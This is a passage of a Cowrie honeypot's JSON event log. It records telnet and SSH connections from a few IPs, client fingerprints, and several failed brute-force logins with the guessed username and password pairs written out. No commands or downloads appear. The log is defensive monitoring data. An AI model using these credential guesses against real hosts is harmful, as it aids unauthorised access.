{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50044,"dst_ip":"159.203.135.109","dst_port":23,"session":"f40c55c47bc0","protocol":"telnet","message":"New connection: 135.148.33.91:50044 (159.203.135.109:23) [session: f40c55c47bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:41.321648Z"}
{"eventid":"cowrie.session.closed","duration":33.37422204017639,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:42.026353Z","src_ip":"135.148.33.91","session":"5ec3bf3c9934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97787928581238,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:54.362408Z","src_ip":"135.148.33.91","session":"e512af3a5cdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94307518005371,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:57.284513Z","src_ip":"135.148.33.91","session":"6e6682341503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58440,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ca16961e79b","protocol":"telnet","message":"New connection: 135.148.33.91:58440 (159.203.135.109:23) [session: 6ca16961e79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:58.522671Z"}
{"eventid":"cowrie.session.closed","duration":35.512099742889404,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:08.183004Z","src_ip":"135.148.33.91","session":"90a316ab0501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":42424,"dst_ip":"159.203.135.109","dst_port":22,"session":"03e0e67f52fc","protocol":"ssh","message":"New connection: 2.57.121.112:42424 (159.203.135.109:22) [session: 03e0e67f52fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:09.127207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:09.131531Z","src_ip":"2.57.121.112","session":"03e0e67f52fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:09.235451Z","src_ip":"2.57.121.112","session":"03e0e67f52fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ravi","message":"login attempt [admin/ravi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:09.723279Z","src_ip":"2.57.121.112","session":"03e0e67f52fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.37107753753662,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:09.898085Z","src_ip":"135.148.33.91","session":"392507190ab1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Rattolo58","message":"login attempt [admin/Rattolo58] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:10.831006Z","src_ip":"2.57.121.112","session":"03e0e67f52fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"randi","message":"login attempt [admin/randi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:11.937936Z","src_ip":"2.57.121.112","session":"03e0e67f52fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"radost","message":"login attempt [admin/radost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:13.045423Z","src_ip":"2.57.121.112","session":"03e0e67f52fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qzwxecrv","message":"login attempt [admin/qzwxecrv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:14.153138Z","src_ip":"2.57.121.112","session":"03e0e67f52fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:15.260339Z","src_ip":"2.57.121.112","session":"03e0e67f52fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.72520995140076,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:19.046830Z","src_ip":"135.148.33.91","session":"f40c55c47bc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.71359705924988,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:32.236186Z","src_ip":"135.148.33.91","session":"6ca16961e79b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33784,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b900622f1f3","protocol":"ssh","message":"New connection: 161.248.189.72:33784 (10.17.0.5:22) [session: 4b900622f1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:35.853687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:35.859490Z","src_ip":"161.248.189.72","session":"4b900622f1f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:36.098117Z","src_ip":"161.248.189.72","session":"4b900622f1f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweZXC","message":"login attempt [root/123qweZXC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:37.083520Z","src_ip":"161.248.189.72","session":"4b900622f1f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:38.323491Z","src_ip":"161.248.189.72","session":"4b900622f1f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60472,"dst_ip":"159.203.135.109","dst_port":23,"session":"14d96a3823ea","protocol":"telnet","message":"New connection: 135.148.33.91:60472 (159.203.135.109:23) [session: 14d96a3823ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:45.602128Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33702,"dst_ip":"159.203.135.109","dst_port":23,"session":"17fe7b68e21a","protocol":"telnet","message":"New connection: 135.148.33.91:33702 (159.203.135.109:23) [session: 17fe7b68e21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:48.011304Z"}
{"eventid":"cowrie.session.closed","duration":105.72949719429016,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:33:53.631627Z","src_ip":"49.88.156.34","session":"b73f386a81ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44152,"dst_ip":"159.203.135.109","dst_port":23,"session":"152bc5dc1bf7","protocol":"telnet","message":"New connection: 135.148.33.91:44152 (159.203.135.109:23) [session: 152bc5dc1bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:05.052045Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46614,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e38ab0121c4","protocol":"telnet","message":"New connection: 135.148.33.91:46614 (159.203.135.109:23) [session: 8e38ab0121c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:09.339810Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50086,"dst_ip":"159.203.135.109","dst_port":23,"session":"91ec07403bff","protocol":"telnet","message":"New connection: 135.148.33.91:50086 (159.203.135.109:23) [session: 91ec07403bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:16.386012Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50690,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3fdbcfdc39f","protocol":"telnet","message":"New connection: 135.148.33.91:50690 (159.203.135.109:23) [session: f3fdbcfdc39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:16.538496Z"}
{"eventid":"cowrie.session.closed","duration":36.10458064079285,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:21.706557Z","src_ip":"135.148.33.91","session":"14d96a3823ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.6298508644104,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:26.641047Z","src_ip":"135.148.33.91","session":"17fe7b68e21a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59382,"dst_ip":"159.203.135.109","dst_port":23,"session":"244bf054524d","protocol":"telnet","message":"New connection: 135.148.33.91:59382 (159.203.135.109:23) [session: 244bf054524d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:32.358567Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33188,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad4fec3f3836","protocol":"telnet","message":"New connection: 135.148.33.91:33188 (159.203.135.109:23) [session: ad4fec3f3836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:34.929430Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33858,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0d10159b8d9","protocol":"ssh","message":"New connection: 161.248.189.72:33858 (10.17.0.5:22) [session: a0d10159b8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:39.193601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:39.199062Z","src_ip":"161.248.189.72","session":"a0d10159b8d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:39.434256Z","src_ip":"161.248.189.72","session":"a0d10159b8d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.593870878219604,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:39.645797Z","src_ip":"135.148.33.91","session":"152bc5dc1bf7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"john123","message":"login attempt [root/john123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:40.404509Z","src_ip":"161.248.189.72","session":"a0d10159b8d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:41.642559Z","src_ip":"161.248.189.72","session":"a0d10159b8d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36844,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ecb3008baf6","protocol":"telnet","message":"New connection: 135.148.33.91:36844 (159.203.135.109:23) [session: 6ecb3008baf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:42.374075Z"}
{"eventid":"cowrie.session.closed","duration":34.30199432373047,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:43.641680Z","src_ip":"135.148.33.91","session":"8e38ab0121c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06144046783447,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:50.447329Z","src_ip":"135.148.33.91","session":"91ec07403bff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80128502845764,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:51.339658Z","src_ip":"135.148.33.91","session":"f3fdbcfdc39f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47950,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7245485109d","protocol":"telnet","message":"New connection: 135.148.33.91:47950 (159.203.135.109:23) [session: d7245485109d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:34:59.376239Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48180,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddda8543d69c","protocol":"telnet","message":"New connection: 135.148.33.91:48180 (159.203.135.109:23) [session: ddda8543d69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:02.746285Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50500,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ea709552ef8","protocol":"telnet","message":"New connection: 135.148.33.91:50500 (159.203.135.109:23) [session: 4ea709552ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:03.069539Z"}
{"eventid":"cowrie.session.closed","duration":0.0058362483978271484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:03.075231Z","src_ip":"135.148.33.91","session":"4ea709552ef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50048,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca22d98feed7","protocol":"telnet","message":"New connection: 135.148.33.91:50048 (159.203.135.109:23) [session: ca22d98feed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:06.010441Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52284,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b254b297998","protocol":"telnet","message":"New connection: 135.148.33.91:52284 (159.203.135.109:23) [session: 7b254b297998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:07.326337Z"}
{"eventid":"cowrie.session.closed","duration":33.3290536403656,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:08.258344Z","src_ip":"135.148.33.91","session":"ad4fec3f3836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.87008357048035,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:09.228537Z","src_ip":"135.148.33.91","session":"244bf054524d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dc145af056e","protocol":"telnet","message":"New connection: 135.148.33.91:56906 (159.203.135.109:23) [session: 4dc145af056e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:15.991292Z"}
{"eventid":"cowrie.session.closed","duration":36.35331058502197,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:18.727257Z","src_ip":"135.148.33.91","session":"6ecb3008baf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60784,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5c8a4450e4e","protocol":"telnet","message":"New connection: 135.148.33.91:60784 (159.203.135.109:23) [session: d5c8a4450e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:21.968771Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35822,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a00127d571","protocol":"telnet","message":"New connection: 135.148.33.91:35822 (159.203.135.109:23) [session: 55a00127d571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:28.830251Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35638,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbc3b3771557","protocol":"telnet","message":"New connection: 135.148.33.91:35638 (159.203.135.109:23) [session: dbc3b3771557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:30.426122Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38126,"dst_ip":"159.203.135.109","dst_port":23,"session":"122b1a04e0a9","protocol":"telnet","message":"New connection: 135.148.33.91:38126 (159.203.135.109:23) [session: 122b1a04e0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:32.037617Z"}
{"eventid":"cowrie.session.closed","duration":35.74777293205261,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:35.123906Z","src_ip":"135.148.33.91","session":"d7245485109d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.645665884017944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:37.656022Z","src_ip":"135.148.33.91","session":"ca22d98feed7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02419400215149,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:37.770367Z","src_ip":"135.148.33.91","session":"ddda8543d69c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33928,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a17118c5fa","protocol":"ssh","message":"New connection: 161.248.189.72:33928 (10.17.0.5:22) [session: 19a17118c5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:40.376517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:40.382231Z","src_ip":"161.248.189.72","session":"19a17118c5fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 